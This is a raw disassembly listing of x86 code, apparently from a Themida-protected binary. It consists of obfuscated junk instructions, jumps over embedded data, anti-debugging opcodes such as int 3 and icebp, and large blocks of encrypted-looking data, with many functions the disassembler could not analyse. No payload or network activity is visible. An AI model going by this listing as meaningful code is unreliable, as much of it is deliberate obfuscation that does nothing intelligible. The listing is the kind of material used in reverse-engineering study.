xchg ebx, [ebx-1Ah]
; START OF FUNCTION CHUNK FOR sub_5D0E14
loc_5D0ED7: ; CODE XREF: sub_5D0E14+B2j
push edx
and edx, 4731588Fh
pop esi
push ecx
movzx ecx, ax
pop ecx
jo loc_5D0EED
mov ax, si
loc_5D0EED: ; CODE XREF: sub_5D0E14+D0j
jmp loc_5D0F01
; END OF FUNCTION CHUNK FOR sub_5D0E14
; ---------------------------------------------------------------------------
or [ecx+4514823Ch], al
mov ds:58BED968h, ah
inc edx
xor [edi], esi
; START OF FUNCTION CHUNK FOR sub_5D0E14
loc_5D0F01: ; CODE XREF: sub_5D0E14:loc_5D0EEDj
mov eax, 31FB0FE6h
clc
mov ecx, 0F10D83Dh
movzx ebx, dx
mov al, 83h
cld
cld
jmp loc_5D0F22
; END OF FUNCTION CHUNK FOR sub_5D0E14
; ---------------------------------------------------------------------------
dd 508F5D0Bh, 0B7959458h
db 0DBh, 67h
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5D0E14
loc_5D0F22: ; CODE XREF: sub_5D0E14+FFj
mov ebx, 63FC5381h
jmp loc_5D0F37
; END OF FUNCTION CHUNK FOR sub_5D0E14
; ---------------------------------------------------------------------------
dd 7DD0B112h, 0CE43E6E2h
db 64h, 0E6h, 0EDh
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5D0E14
loc_5D0F37: ; CODE XREF: sub_5D0E14+113j
mov ecx, esi
movsx eax, si
mov si, 0F914h
adc di, 5BFh
mov dl, 3
jmp loc_5D0F54
; END OF FUNCTION CHUNK FOR sub_5D0E14
; ---------------------------------------------------------------------------
dd 78B14A3Dh, 52189F4Bh
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5D0E14
loc_5D0F54: ; CODE XREF: sub_5D0E14+133j
movsx esi, di
mov ebx, 0CDCFD23h
mov ecx, 4D996D50h
call near ptr loc_5D0F6B+7
setalc
push ebp
cdq
mov cl, cl
loc_5D0F6B: ; CODE XREF: sub_5D0E14+14Dp
test dword ptr [ebp+esi-3Eh], 56600CFAh
ja $+6
pop ecx
pop edx
push ecx
jmp loc_5D0F86
; END OF FUNCTION CHUNK FOR sub_5D0E14
; ---------------------------------------------------------------------------
db 59h, 44h, 27h
db 89h, 2Ch
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5D0E14
loc_5D0F86: ; CODE XREF: sub_5D0E14+168j
pop ecx
call sub_5D0F92
push esi
cwde
test [ebp+59h], ebx
scasd
; END OF FUNCTION CHUNK FOR sub_5D0E14
; =============== S U B R O U T I N E =======================================
sub_5D0F92 proc near ; CODE XREF: sub_5D0E14+173p
arg_0 = byte ptr 4
jb loc_5D0F9D
mov eax, 10D679A6h
loc_5D0F9D: ; CODE XREF: sub_5D0F92j
pop ecx
clc
and eax, 6EF46C14h ; CODE XREF: sub_5D0FE2+Bj
mov si, 77A0h
push eax
mov ax, si
pop edi
mov al, 9Fh
jmp loc_5D0FC9
; ---------------------------------------------------------------------------
db 5, 29h, 35h
dd 54B1EE95h, 0E261C565h, 66C8EF22h, 2651B75Bh
db 7Bh
; ---------------------------------------------------------------------------
loc_5D0FC9: ; CODE XREF: sub_5D0F92+1Ej
mov eax, ebx
call sub_5D0FE2
inc esi
sub bh, al
dec esp
add [esi+2Bh], ecx
call near ptr 0ACC6F25Ah
call fword ptr [esp+ebp*8-4+arg_0]
or ecx, [edx-41h]
sub_5D0F92 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5D0FE2 proc near ; CODE XREF: sub_5D0F92+39p
cld
pop ebx
mov si, dx
call sub_5D0FF2
popa
jbe short near ptr loc_5D0F9F+4
out dx, eax
push 0FFFFFFBEh
sub_5D0FE2 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5D0FF2 proc near ; CODE XREF: sub_5D0FE2+5p
movzx ecx, cx
pop ecx
jb loc_5D0FFE
mov bl, 51h
loc_5D0FFE: ; CODE XREF: sub_5D0FF2+4j
movsx ebx, ax
clc
push ecx
add cx, 7640h
pop eax
jle loc_5D1011
mov ah, 97h
loc_5D1011: ; CODE XREF: sub_5D0FF2+17j
mov ecx, 4B7F6A8Fh
mov ecx, esi
sub di, 7624h
or bl, 80h
mov eax, edi
jmp loc_5D1036
; ---------------------------------------------------------------------------
db 92h
dd 8435BEACh, 0C916E98Ah, 0B06BDF25h
db 1Bh, 80h
; ---------------------------------------------------------------------------
loc_5D1036: ; CODE XREF: sub_5D0FF2+30j
jle loc_5D1047
jmp loc_5D1047
; ---------------------------------------------------------------------------
db 0ACh, 0F7h, 0D1h
db 10h, 83h, 28h
; ---------------------------------------------------------------------------
loc_5D1047: ; CODE XREF: sub_5D0FF2:loc_5D1036j
; sub_5D0FF2+4Aj
pusha
mov ecx, 4EFB1588h
mov bl, cl
popa
jns loc_5D105B
and si, 0FE04h
loc_5D105B: ; CODE XREF: sub_5D0FF2+5Ej
ja loc_5D1063
mov edi, eax
loc_5D1063: ; CODE XREF: sub_5D0FF2:loc_5D105Bj
mov ecx, ebx
call near ptr loc_5D1075+4
popf
adc bh, bl
lodsb
xchg eax, ebp
lahf
loop near ptr loc_5D10B0+2
cld
in eax, 0EEh
loc_5D1075: ; CODE XREF: sub_5D0FF2+73p
sub dword ptr [edx-71F00B98h], 2
sub_5D0FF2 endp ; sp-analysis failed
push ebx
pop eax
pop edi
adc al, 0E1h
mov eax, 726E84DBh
mov dh, ah
mov si, 9B0Ch
pusha
jmp loc_5D10A9
; ---------------------------------------------------------------------------
dw 3322h
dd 0FEF11163h, 7A9D441Fh, 0BE28E58Eh, 769E2399h
db 7Bh
; ---------------------------------------------------------------------------
loc_5D10A9: ; CODE XREF: Themida_:005D1091j
popa
jnz loc_5D10B5
loc_5D10B0: ; CODE XREF: sub_5D0FF2+7Ej
mov esi, 2037E982h
loc_5D10B5: ; CODE XREF: Themida_:005D10AAj
jmp loc_5D10C2
; ---------------------------------------------------------------------------
dw 2163h
dd 93CE38AFh
db 91h, 73h
; ---------------------------------------------------------------------------
loc_5D10C2: ; CODE XREF: Themida_:loc_5D10B5j
add ax, 663Bh
pusha
jz loc_5D10D0
mov bh, ch
loc_5D10D0: ; CODE XREF: Themida_:005D10C8j
mov bx, di
popa
call near ptr loc_5D10E0+2
sub bh, ah
mov ds:2E528C2h, eax
loc_5D10E0: ; CODE XREF: Themida_:005D10D4p
adc eax, 0D3805944h
mov edx, 66FB8B66h
mov edx, eax
mov cx, si
stc
mov cx, ax
adc di, 0F511h
mov edi, 3E64E47Ah
jns loc_5D110D
jmp loc_5D110D
; ---------------------------------------------------------------------------
dd 270F81CDh
; ---------------------------------------------------------------------------
stosb
loc_5D110D: ; CODE XREF: Themida_:005D10FDj
; Themida_:005D1103j
add ch, 70h
push esi
js loc_5D1124
jmp loc_5D1124
; ---------------------------------------------------------------------------
dd 0AFFF75E0h, 6D4DA76h
; ---------------------------------------------------------------------------
loc_5D1124: ; CODE XREF: Themida_:005D1111j
; Themida_:005D1117j
pop edi
jmp loc_5D112F
; ---------------------------------------------------------------------------
dw 5269h
db 0F2h, 4Fh, 26h
; ---------------------------------------------------------------------------
loc_5D112F: ; CODE XREF: Themida_:005D1125j
ja loc_5D113A
sbb si, 40A2h
loc_5D113A: ; CODE XREF: Themida_:loc_5D112Fj
mov ax, 8138h
mov edx, 31483579h
jmp loc_5D1152
; ---------------------------------------------------------------------------
pop eax
retn
; ---------------------------------------------------------------------------
dw 0F089h
dd 50E2CF70h
; ---------------------------------------------------------------------------
xchg eax, ebp
pop ebx
loc_5D1152: ; CODE XREF: Themida_:005D1143j
cld
mov dx, bx
sbb di, 23BDh
jl loc_5D1166
mov edi, 4099AFFFh
loc_5D1166: ; CODE XREF: Themida_:005D115Bj
add cx, 1DCh
mov di, si
sbb bh, 2Ah
jmp loc_5D1185
; ---------------------------------------------------------------------------
dw 0D360h
dd 4171ACFBh, 8320DBA2h, 0BAE34B8h
; ---------------------------------------------------------------------------
pop esp
loc_5D1185: ; CODE XREF: Themida_:005D1171j
add ah, 0DAh
jg loc_5D1199
jb loc_5D1199
sbb bx, 93F9h
loc_5D1199: ; CODE XREF: Themida_:005D1188j
; Themida_:005D118Ej
clc
mov esi, 3D852BF2h
call sub_5D11B8
jg short loc_5D11AE
lodsb
or al, 92h
fmulp st(6), st
pop ecx
cli
icebp
loc_5D11AE: ; CODE XREF: Themida_:005D11A4j
adc [edi-31h], esi
sbb dword ptr [ecx+7563F7FEh], 0FFFFFFF0h
; =============== S U B R O U T I N E =======================================
sub_5D11B8 proc near ; CODE XREF: Themida_:005D119Fp
pop ecx
and ax, 1CDCh
jp loc_5D11CC
jl loc_5D11CC
pusha
popa
loc_5D11CC: ; CODE XREF: sub_5D11B8+6j
; sub_5D11B8+Cj
sub dx, 0EAAEh
jmp loc_5D11DF
; ---------------------------------------------------------------------------
dw 3A88h
dd 0DF5D5B74h
db 93h, 0D0h, 4Fh
; ---------------------------------------------------------------------------
loc_5D11DF: ; CODE XREF: sub_5D11B8+19j
movsx ecx, ax
push ebx
mov ebx, 7D14D2A8h
pop edx
mov si, ax
mov eax, 24774EE9h
sbb al, 0B4h
sbb edi, 6702BE4Fh
pusha
call sub_5D1208
out 0B2h, al ; Interrupt Controller #2, 8259A
ror dword ptr ds:723A1628h, cl
sub_5D11B8 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5D1208 proc near ; CODE XREF: sub_5D11B8+43p
var_22 = dword ptr -22h
; FUNCTION CHUNK AT 005D12B4 SIZE 0000000C BYTES
jz $+6
pop edi
mov ebx, 67F1BB85h
popa
jmp loc_5D122D
; ---------------------------------------------------------------------------
pop ebp
les edx, [ebp+6115A1A7h]
push edx
mov edx, 0A2F7A24h
adc ebx, [edi]
add edi, eax
pop ebp
loc_5D122D: ; CODE XREF: sub_5D1208+Dj
jno loc_5D1236
and ch, 2Ah
loc_5D1236: ; CODE XREF: sub_5D1208:loc_5D122Dj
pusha
mov cx, si
popa
call sub_5D124C
pop ebp
xchg eax, ebx
db 2Eh
jns short loc_5D12B4
test al, 0BAh
retn 6D19h
sub_5D1208 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
dw 0FCEBh
; =============== S U B R O U T I N E =======================================
sub_5D124C proc near ; CODE XREF: sub_5D1208+33p
js loc_5D1254
mov ch, bh
loc_5D1254: ; CODE XREF: sub_5D124Cj
pop ebx
jz loc_5D1277
jno loc_5D1277
jmp loc_5D1277
; ---------------------------------------------------------------------------
shr edi, 1
sbb ecx, 0B92FFFF5h
setalc
push edi
mov esp, edi
sbb al, 3Bh
sub [ebx+5Dh], edx
loc_5D1277: ; CODE XREF: sub_5D124C+9j
; sub_5D124C+Fj ...
movsx edx, di
cld
push eax
jmp loc_5D1286
; ---------------------------------------------------------------------------
db 44h, 8Ch, 0D4h
db 20h, 82h
; ---------------------------------------------------------------------------
loc_5D1286: ; CODE XREF: sub_5D124C+30j
pop edi
and dx, 669Fh
jmp loc_5D12A0
; ---------------------------------------------------------------------------
db 3Ah, 3Eh, 64h
dd 2482AC96h, 3FFF8542h, 3D80D803h
; ---------------------------------------------------------------------------
loc_5D12A0: ; CODE XREF: sub_5D124C+40j
push ebx
jp near ptr loc_5D12B9+2
jmp near ptr loc_5D12B9+2
sub_5D124C endp ; sp-analysis failed
; ---------------------------------------------------------------------------
dd 56502D57h, 0CEE46CD9h
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5D1208
loc_5D12B4: ; CODE XREF: sub_5D1208+3Aj
xchg ebx, [esp+edi*2-4Ah]
inc eax
loc_5D12B9: ; CODE XREF: sub_5D124C+55j
; sub_5D124C+5Bj
adc byte ptr [ebp+0CE96058h], 0
; END OF FUNCTION CHUNK FOR sub_5D1208
; ---------------------------------------------------------------------------
dd 1A710000h, 0A38FA60Fh, 0CAEB332Ah, 8D0F852Dh, 6, 8B0Fh
dd 0F610000h, 8B66F9B7h, 178A0FC6h, 0E8000000h, 0Fh, 0D33E63AAh
dd 0C4E4F2B9h, 0B66D5272h, 8A0DF537h, 0FFC5FF8h, 288h
dd 81D88B00h, 0EDF046D9h, 0BAB8661Ch, 0C2B70F2Bh, 14E960h
dd 36BE0000h, 0C819B733h, 0C8E0A0E0h, 0E175DA91h, 5652C57Ch
dd 0D18AB96Bh, 0EE861h, 0EFCB0000h, 0C0CC179Bh, 51780708h
dd 70D90241h, 60F558F8h, 14E957h, 5AA80000h, 0FE33CF27h
dd 365842E9h, 3D0438A5h, 26CE9515h, 0F5E8EEAh, 0F61D8B7h
dd 588h, 0C2D0BF00h, 8E92928h, 95000000h, 956881BCh, 817D3A23h
dd 85C3C1F7h, 7E841h, 0EBCD0000h, 35834B9Ch, 0FE8B6637h
dd 12E85Bh, 268E0000h, 94C1D82Ah, 0CF6E292Ch, 0EC24D470h
dd 207E3653h, 0F5B36B5h, 1889h, 13E900h, 0D4340000h, 782CD5C8h
dd 35B62B3Ch, 3D16A50Ch, 3F65967Fh, 0C78166E9h, 8166588Dh
dd 0F84AED2h, 8166F8B7h, 8B2140C7h, 6E960D7h, 0D8000000h
dd 5C1DC9BEh, 0EE992h, 0AFF50000h, 9A2D518Ch, 0CCBF0402h
dd 1B6D09E8h, 0F3816661h, 0BE668C0Fh, 0EE98F84h, 36000000h
dd 3E7D74C4h, 0F5FB1A45h, 10174FE9h, 0E18053E9h, 66F95893h
dd 0B67700B9h, 0C3F4BEBCh, 0CC8A36C2h, 0EE9h, 0E5D74400h
dd 19B88E57h, 85671DBh, 8082984Dh, 11E9AFD5h, 0A2000000h
dd 0D71EB048h, 0CD83E3CFh, 87022FA2h, 90B1D280h, 5D28166h
dd 0D9B70F58h, 659BBA66h, 11E9h, 775DC300h, 5BA6A32Bh
dd 0FC4A36F7h, 25DF5F57h, 0BF0F0D15h, 0F950F5C0h, 0C1B70F5Eh
dd 6E9h, 1F2FB500h, 6682ED4Fh, 804E6ABAh, 6E84FC0h, 5000000h
dd 0E538EC5Bh, 815FF912h, 0D5A36DE0h, 18A0F6Bh, 0F5000000h
dd 3810Fh, 0DD800000h, 0B9666085h, 666132ABh, 0C8CCF681h
dd 0E0C08166h, 0F2BF0F58h, 0BB66D98Bh, 0FD8A5E96h, 2C4188BEh
dd 4B52B974h, 8B664303h, 6E9CAh, 485B0000h, 9829FE73h
dd 0A8D0Fh, 8B0F0000h, 4, 254EB866h, 81F38B66h, 8AE66BD7h
dd 0EABB665Fh, 0E7816692h, 810FBC57h, 9, 38B0Fh, 8B660000h
dd 1ACA81D7h, 0B87401BCh, 31D252B5h, 13E9h, 90811400h
dd 1E202082h, 4D0F8747h, 7C31D9C5h, 9C010A35h, 58B0Fh
dd 81660000h, 0B8DEFFDAh, 0B0F382Fh, 0B65AF853h, 79E88139h
dd 507FA510h, 98A7BE66h, 0CB8B6059h, 61D78B66h, 0EE27B966h
dd 0ECBAF681h, 8C0F5359h, 15h, 0F8C0Fh, 0AE90000h, 16000000h
dd 569831BDh, 0F2F7B751h, 0CE962h, 63D90000h, 0AE1C6177h
dd 11DBF903h, 0CE8D0B9h, 42000000h, 0DDFAFD66h, 30F22DF9h
dd 0E9249CB6h, 9, 17DA4B75h, 0E900EDF5h, 0BF0F5EACh, 0AABB66C6h
dd 5E95234h, 2D000000h, 775196D3h, 41D7805Ah, 77DB8166h
dd 0C0B70F10h, 2AD08060h, 491EC181h, 0F617251h, 0F8BFF6BFh
dd 0F5DE4FCh, 38Dh, 4FC38000h, 0CE9h, 70779C00h, 0FE50452Ch
dd 923F0868h, 1D890FDFh, 0E8000000h, 11h, 87E6AE29h, 927A4964h
dd 0CC05380Ch, 0F2183FCEh, 880F0Dh, 5B000000h, 0AE9h, 94B09E00h
dd 0C0A2848Dh, 0F03138Eh, 0C82h, 68C0F00h, 0F000000h, 8Bh
dd 0FFE8B00h, 584h, 0BF0F5600h, 5E95ECFh, 0D4000000h, 3653EC24h
dd 5E860h, 11F00000h, 668A4060h, 34A6E781h, 0BE666159h
dd 0AE8314Eh, 1E000000h, 8F2BC3F2h, 7613135Eh, 58B0FA6h
dd 0BB000000h, 59A5A349h, 0E8CCB759h, 10h, 546E8CF6h, 1CEEC6F8h
dd 92DA1C8Dh, 8435BEACh, 0CE9h, 871D8200h, 0AAFD1665h
dd 9AC863DCh, 0B8665E5Fh, 8B0F5EA7h, 19h, 14E9h, 0B286DC00h
dd 38C9F333h, 828F9FD8h, 272C6AF5h, 0E8B7AC61h, 0FC30BB4Ah
dd 0F857072Eh, 0FCF7815Bh, 8015E414h, 0BA66DDC8h, 0CF815830h
dd 1476F7A1h, 0FE8h, 0A2E12300h, 0C7EF673Bh, 0EE70E98Ch
dd 5FD8F8A6h, 5FC3BF0Fh, 0EE8h, 0DCFD6800h, 1B7C2F3Ch
dd 8CB136FCh, 0E953A533h, 14h, 5AC6DC9Fh, 0B6AB06D5h, 0E8F95EB5h
dd 0CAD46E0Ch, 0CD974BF0h, 0D1BF0F5Fh, 0F960FABFh, 0F7DC8038h
dd 6060CA8Bh, 0CE9h, 0EF7F0C00h, 84F0BD4Fh, 9AF3EE67h
dd 16B86688h, 8166610Bh, 61C27EE3h, 0AE9h, 0E9AEE200h
dd 781020D2h, 0E9974620h, 12h, 0D050B724h, 879AE082h, 0D60C3028h
dd 0E3AEBC0Ch, 0DE9BFD0h, 0F000000h, 0AFFC8294h, 9CA8316Dh
dd 5DA64D56h, 0DE860h, 16210000h, 374D21D1h, 11F76C32h
dd 8AA7DEDDh, 840F5EECh, 2, 0F861F0B0h, 0AE9h, 9DA01300h
dd 790434BEh, 8B029FF5h, 46D380F7h, 8E8h, 0C9B7E300h, 69EA73F4h
dd 0E85AF9E4h, 8, 94A4BB92h, 4955C601h, 0E8FA8B5Bh, 0Dh
dd 5596AF9Fh, 0BF2E61D9h, 0CA07AA76h, 8E8A1h, 3D6D0000h
dd 0E824A004h, 13E8A571h, 1F000000h, 0A39A3484h, 0C2D7DB87h
dd 4AB7CED4h, 0C209B7A3h, 5B599A06h, 0C88B665Eh, 0CE8h
dd 0CA0ED700h, 5A13D7F2h, 795A9210h, 20EF81F3h, 5841230Eh
dd 0EE9h, 0CD5E6100h, 16C959CFh, 2FA86AE9h, 0F931748h
dd 684h, 0A1E88100h, 8B1E0136h, 8146B5FBh, 88ACECF6h, 2EB802Dh
dd 57D18B66h, 2930ADB8h, 9CBF5F1Bh, 0B827F046h, 5BCA3194h
dd 0EE8h, 0F41DB100h, 5B7B5E67h, 99A0EF4Ah, 66C25CEDh
dd 59FF69BFh, 481CBA66h, 4850Fh, 8A530000h, 0EB8059D8h
dd 66C18B3Ch, 53C78ABEh, 0B4DE8166h, 0F565A71h, 138Dh
dd 0EE900h, 26F10000h, 8FE2DC9Bh, 6C3446AFh, 4C006AB1h
dd 0FFB70F5Ah, 0FDF8BF8h, 589h, 0F2816600h, 7E98554h, 67000000h
dd 39F7A4ECh, 0AE9DD9Dh, 0A1000000h, 0FE73485Bh, 74DE9829h
dd 60F08B9Fh, 13E8FCB4h, 66000000h, 3D4B26A1h, 0B39A6442h
dd 0F7A934A9h, 7CB6D0A4h, 8A0F2F50h, 0
; ---------------------------------------------------------------------------
pop edi
popa
adc eax, 36F6B47Dh
push eax
push ebx
pusha
popa
pop esi
pop edx
sbb bl, 0CAh
mov cx, 2D3Ah
sbb ah, 0A4h
mov esi, ebx
pusha
call sub_5D1955
mov al, ds:9F94CA40h
; =============== S U B R O U T I N E =======================================
sub_5D1955 proc near ; CODE XREF: Themida_:005D194Bp
stc
pop edi
sub eax, 45454403h
popa
mov edi, edx
jmp loc_5D1974
; ---------------------------------------------------------------------------
align 2
dw 0BF95h
dd 81B0D197h, 0CC169214h, 5F1D4AB1h
; ---------------------------------------------------------------------------
loc_5D1974: ; CODE XREF: sub_5D1955+Bj
mov edx, ebx
jmp loc_5D1983
; ---------------------------------------------------------------------------
dec ebx
dec eax
inc ebx
dec eax
sub edx, [edx]
and al, 52h
loc_5D1983: ; CODE XREF: sub_5D1955+21j
pusha
jnz loc_5D1990
adc esi, 68713D13h
loc_5D1990: ; CODE XREF: sub_5D1955+2Fj
popa
jp loc_5D199B
mov ax, 611Eh
loc_5D199B: ; CODE XREF: sub_5D1955+3Cj
call near ptr loc_5D19AA+4
or eax, 7E68E4E6h
bound ebx, [edx+69h]
xor al, 0E9h
loc_5D19AA: ; CODE XREF: sub_5D1955:loc_5D199Bp
push 6629F84Dh
sub_5D1955 endp ; sp-analysis failed
mov esi, ebx
pop eax
mov edx, ecx
jo loc_5D19C7
pusha
sbb ax, 72CEh
jns $+6
popa
loc_5D19C7: ; CODE XREF: Themida_:005D19B4j
jnb $+6
jmp loc_5D19E5
; ---------------------------------------------------------------------------
dw 0F61Bh
dd 2EC3C74Ch, 0A0648069h, 961BAEC4h, 2536D869h
db 0F6h
; ---------------------------------------------------------------------------
loc_5D19E5: ; CODE XREF: Themida_:005D19CDj
movzx ecx, ax
sbb ax, 0FCE8h
movsx ebx, ax
mov di, si
mov ax, 0A6A1h
pusha
mov eax, edx
mov cl, 26h
popa
mov ah, 5Ah
mov dx, bx
clc
or bh, 9Bh
jo loc_5D1A0E
mov dh, 4Eh
loc_5D1A0E: ; CODE XREF: Themida_:005D1A06j
mov edi, esi
add ebx, 6FAC1E6Fh
mov ax, cx
jno loc_5D1A3C
call sub_5D1A2B
retn 5EC1h
; ---------------------------------------------------------------------------
db 0ADh
db 3, 0C6h, 0F7h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_5D1A2B proc near ; CODE XREF: Themida_:005D1A1Fp
jmp near ptr sub_5D1A3B
sub_5D1A2B endp
; ---------------------------------------------------------------------------
dd 90F7E537h, 0E7B292F8h
db 2Dh, 0A0h, 37h
; =============== S U B R O U T I N E =======================================
sub_5D1A3B proc far ; CODE XREF: sub_5D1A2Bj
; FUNCTION CHUNK AT 005D1AA0 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005D1AC5 SIZE 00000038 BYTES
; FUNCTION CHUNK AT 005D1B10 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005D1B2F SIZE 00000029 BYTES
pop eax
loc_5D1A3C: ; CODE XREF: Themida_:005D1A19j
movsx edi, bx
jns loc_5D1A46
cmc
loc_5D1A46: ; CODE XREF: sub_5D1A3B+4j
mov cx, di
mov al, 28h
sbb edi, 0CCD2A37h
jmp loc_5D1A5F
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 18h
; ---------------------------------------------------------------------------
scasb
daa
retn
; ---------------------------------------------------------------------------
db 0CEh
db 0E4h, 0D0h, 76h
; ---------------------------------------------------------------------------
loc_5D1A5F: ; CODE XREF: sub_5D1A3B+16j
pusha
add edi, 7F738671h
movzx ebx, dx
popa
push eax
cmc
pop edi
mov di, 2804h
or ax, 7C17h
sbb dx, 2AA1h
call near ptr loc_5D1A86+1
fneni
jge short near ptr loc_5D1AF2+4
xor edi, eax
loc_5D1A86: ; CODE XREF: sub_5D1A3B+40p
db 2Eh
jmp loc_5D1AA0
sub_5D1A3B endp ; sp-analysis failed
; ---------------------------------------------------------------------------
dd 0B24BADD6h, 0FCA89146h, 6C524B0Dh, 0EA13A717h, 0E8E12989h
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5D1A3B
loc_5D1AA0: ; CODE XREF: sub_5D1A3B:loc_5D1A86j
pop ecx
cld
mov si, dx
jbe loc_5D1AB1
and eax, 40B28F82h
loc_5D1AB1: ; CODE XREF: sub_5D1A3B+6Aj
jmp loc_5D1AC5
; END OF FUNCTION CHUNK FOR sub_5D1A3B
; ---------------------------------------------------------------------------
dw 60Fh
dd 87EB6E8Dh, 18F16353h, 8E456AE4h
db 3Eh
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5D1A3B
loc_5D1AC5: ; CODE XREF: sub_5D1A3B:loc_5D1AB1j
movsx esi, di
mov edx, ebx
mov ebx, 242B76Dh
xor eax, 5D549F5Fh
adc ax, 938Bh
push ecx
movsx eax, ax
pop edx
mov cl, 24h
call near ptr loc_5D1AF2+2
sahf
int 3 ; Trap to Debugger
cmp esp, edx
push dword ptr [esi-23D9D783h]
lahf
loc_5D1AF2: ; CODE XREF: sub_5D1A3B+A6p
; sub_5D1A3B+47j
mov ds:5FC78B7Ah, eax
clc
jmp loc_5D1B10
; END OF FUNCTION CHUNK FOR sub_5D1A3B
; ---------------------------------------------------------------------------
db 37h, 2Dh, 0B0h
dd 0F372370Dh, 705CDB7Eh, 0A8BF401Bh, 7F800A2Ah
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5D1A3B
loc_5D1B10: ; CODE XREF: sub_5D1A3B+BDj
jb loc_5D1B2F
jmp loc_5D1B2F
; END OF FUNCTION CHUNK FOR sub_5D1A3B
; ---------------------------------------------------------------------------
db 0DCh
dd 19CDD826h, 859448E6h, 0A1962311h, 9A86F476h
db 0ADh, 7, 87h
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5D1A3B
loc_5D1B2F: ; CODE XREF: sub_5D1A3B:loc_5D1B10j
; sub_5D1A3B+DBj
sub di, 0C609h
jnb loc_5D1B42
pusha
push esi
pop ecx
mov si, 215Eh
popa
loc_5D1B42: ; CODE XREF: sub_5D1A3B+F9j
mov dh, 51h
pusha
mov edx, 77891D57h
push edx
call near ptr sub_5D1B5E
push edx
push edx
lea eax, [edx-1040A205h]
; END OF FUNCTION CHUNK FOR sub_5D1A3B
; ---------------------------------------------------------------------------
dd 5885250Fh
; ---------------------------------------------------------------------------
mov bl, 0E7h
; =============== S U B R O U T I N E =======================================
sub_5D1B5E proc far ; CODE XREF: sub_5D1A3B+110p
pop ecx
pop ebx
popa
clc
sub ax, 97FCh
mov ecx, esi
mov eax, 46904748h
add edx, 236768Dh
mov si, 6994h
mov ch, 97h
or bl, 0A3h
cld
jmp loc_5D1B97
; ---------------------------------------------------------------------------
db 70h
dd 2C7131B4h, 0F09600D4h, 0F29FA527h, 3F6E595Ah
db 78h, 59h, 0FCh
; ---------------------------------------------------------------------------
loc_5D1B97: ; CODE XREF: sub_5D1B5E+20j
mov ebx, edx
call sub_5D1BA5 ; CODE XREF: Themida_:005D1BFEj
enter 0FFFFA083h, 0ADh
in eax, 0B5h ; Interrupt Controller #2, 8259A
retf
sub_5D1B5E endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5D1BA5 proc near ; CODE XREF: sub_5D1B5E+3Bp
pop edi
mov bh, cl
add dl, 0CAh
sub ch, 14h
push ecx
cld
pop esi
jmp loc_5D1BBB
; ---------------------------------------------------------------------------
dw 6BE2h
; ---------------------------------------------------------------------------
aad 6Dh
das
loc_5D1BBB: ; CODE XREF: sub_5D1BA5+Cj
xor dl, 0FDh
mov esi, ebx
mov ax, 7C51h
push esi
mov cx, si
pop edx
sbb di, 7324h
push ecx
jp loc_5D1BDB
adc ecx, 51752C93h
loc_5D1BDB: ; CODE XREF: sub_5D1BA5+2Aj
pop ecx
push edx
cmc
pop eax
jmp loc_5D1BEC
; ---------------------------------------------------------------------------
dd 9C4AD622h, 1B1E0C78h
; ---------------------------------------------------------------------------
loc_5D1BEC: ; CODE XREF: sub_5D1BA5+3Aj
mov cl, 0BAh
movzx edi, bx
call near ptr loc_5D1BFB+1
lahf
into
dec eax
dec esp
icebp
loc_5D1BFB: ; CODE XREF: sub_5D1BA5+4Cp
shl dword ptr [esi-7Fh], cl
sub_5D1BA5 endp ; sp-analysis failed
loope near ptr loc_5D1B99+3
call far ptr 0:5E8515Eh
add al, cl
icebp
ja short loc_5D1C3B
inc ecx
mov si, 0A26Dh
pop edx
pop eax
cmc
jmp loc_5D1C2B
; ---------------------------------------------------------------------------
db 64h, 0EFh, 9Ah
dd 0F334AB4Ch, 0DA9E1FF8h, 0A2E8DF6Ch
db 3Ch, 35h, 0CAh
; ---------------------------------------------------------------------------
loc_5D1C2B: ; CODE XREF: Themida_:005D1C14j
mov bx, si
pusha
jmp loc_5D1C45
; ---------------------------------------------------------------------------
lodsb
add byte ptr [ecx-5Dh], 0F4h
fld qword ptr [ebx]
loc_5D1C3B: ; CODE XREF: Themida_:005D1C0Aj
db 36h
mov byte ptr cs:[esp+ebp*8], 83h
db 64h
inc ebp
fsub dword ptr [edx]
loc_5D1C45: ; CODE XREF: Themida_:005D1C2Fj
jb loc_5D1C51
adc eax, 7F8234B3h
loc_5D1C51: ; CODE XREF: Themida_:loc_5D1C45j
popa
xor ax, 0F90h
jmp loc_5D1C69
; ---------------------------------------------------------------------------
dd 0A84299AFh, 4551F4B7h, 1698F1E3h
db 6Ah
; ---------------------------------------------------------------------------
loc_5D1C69: ; CODE XREF: Themida_:005D1C57j
movsx eax, di
call sub_5D1C80
xor ah, [ecx]
push 3E780E35h
call far ptr 0A3EFh:0E31BA175h
dec edx
; =============== S U B R O U T I N E =======================================
sub_5D1C80 proc near ; CODE XREF: Themida_:005D1C6Cp
movzx edx, dx
pop ebx
or cl, 0D0h
movzx ecx, bx
movzx edi, si
add ax, 0F370h
call sub_5D1CAA
inc esp
bound ebx, [eax-25E2580Fh]
sub [esi+edx*8], ebx
pushf
inc esp
cmp [ebp-78DF0020h], cl
dec esi
sub_5D1C80 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5D1CAA proc near ; CODE XREF: sub_5D1C80+12p
jo loc_5D1CC2
jmp loc_5D1CC2
; ---------------------------------------------------------------------------
db 60h, 0B1h, 0B6h
dd 0FBB9EA63h, 545D8E22h
db 21h, 7Ah
; ---------------------------------------------------------------------------
loc_5D1CC2: ; CODE XREF: sub_5D1CAAj sub_5D1CAA+6j
pop ebx
ja loc_5D1CE2
